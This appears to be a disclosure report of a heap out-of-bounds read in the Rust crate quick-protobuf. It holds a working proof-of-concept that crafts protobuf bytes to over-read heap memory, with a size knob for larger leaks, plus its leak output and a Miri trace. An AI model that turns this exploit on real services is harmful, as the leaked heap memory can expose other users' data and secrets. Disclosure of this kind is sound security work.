There is a heap OOB read vulnerability in this library leaking heap memory, This vulnerability has potential for remote exploitation.
PoC
// PoC: quick-protobuf's nested-message path never clamps the declared
// submessage length to the buffer (reader.rs read_len sets
// end = start + len), so the self.len() guard in read_packed_fixed passes
// and from_raw_parts builds a slice reaching far past the input.
// Default runs the classic 7-byte trigger; pass MiB to crank the OOB read.
use quick_protobuf::{BytesReader, MessageRead, Result};
// message Outer { Inner inner = 1; } message Inner { repeated u64 f = 1; }
struct Inner(Vec<u64>);
impl<'a> MessageRead<'a> for Inner {
fn from_reader(r: &mut BytesReader, bytes: &'a [u8]) -> Result<Self> {
let _tag = r.next_tag(bytes)?; // field 1, packed fixed64
let vals: &[u64] = r.read_packed_fixed(bytes)?;
Ok(Inner(vals.to_vec()))
}
}
fn varint(mut v: u64, out: &mut Vec<u8>) {
loop {
let b = (v & 0x7f) as u8;
v >>= 7;
if v == 0 {
out.push(b);
return;
}
out.push(b | 0x80);
}
}
fn main() {
let mib: u64 = std::env::args()
.nth(1)
.and_then(|s| s.parse().ok())
.unwrap_or(0);
let bytes = if mib == 0 {
// outer tag 0A, submessage len 1000, packed tag 0A, packed len 800,
// then a single real payload byte
vec![0x0A, 0xE8, 0x07, 0x0A, 0xA0, 0x06, 0x01]
} else {
let packed = mib << 20;
let mut v = vec![0x0A];
varint(packed + 16, &mut v);
v.push(0x0A);
varint(packed, &mut v);
v.push(0x01);
v
};
let mut r = BytesReader::from_bytes(&bytes);
let tag = r.next_tag(&bytes).unwrap();
println!("input {} bytes, outer tag {:#04x}", bytes.len(), tag);
let Inner(leaked) = r.read_message::<Inner>(&bytes).unwrap();
println!(
"read {} u64s ({} bytes) starting past a {}-byte buffer",
leaked.len(),
leaked.len() * 8,
bytes.len()
);
println!(
"leaked heap bytes: {}",
leaked[..4.min(leaked.len())]
.iter()
.map(|x| format!("{x:016x}"))
.collect::<Vec<_>>()
.join(" ")
);
}
Run result:
input 7 bytes, outer tag 0x0a
read 100 u64s (800 bytes) starting past a 7-byte buffer
leaked heap bytes: 0000000000000001 0000000000550000 0000000000610000 00055c9ed8840000
Miri:
error: Undefined Behavior: constructing invalid value of type &[u64]: encountered a dangling reference (going beyond the bounds of its allocation)
--> quick-protobuf/src/reader.rs:455:13
|
455 | / ::core::slice::from_raw_parts(
456 | | bytes.get_unchecked(self.start) as *const u8 as *const M,
457 | | n,
458 | | )
| |_____________^ Undefined Behavior occurred here
There is a heap OOB read vulnerability in this library leaking heap memory, This vulnerability has potential for remote exploitation.
PoC
Run result:
Miri: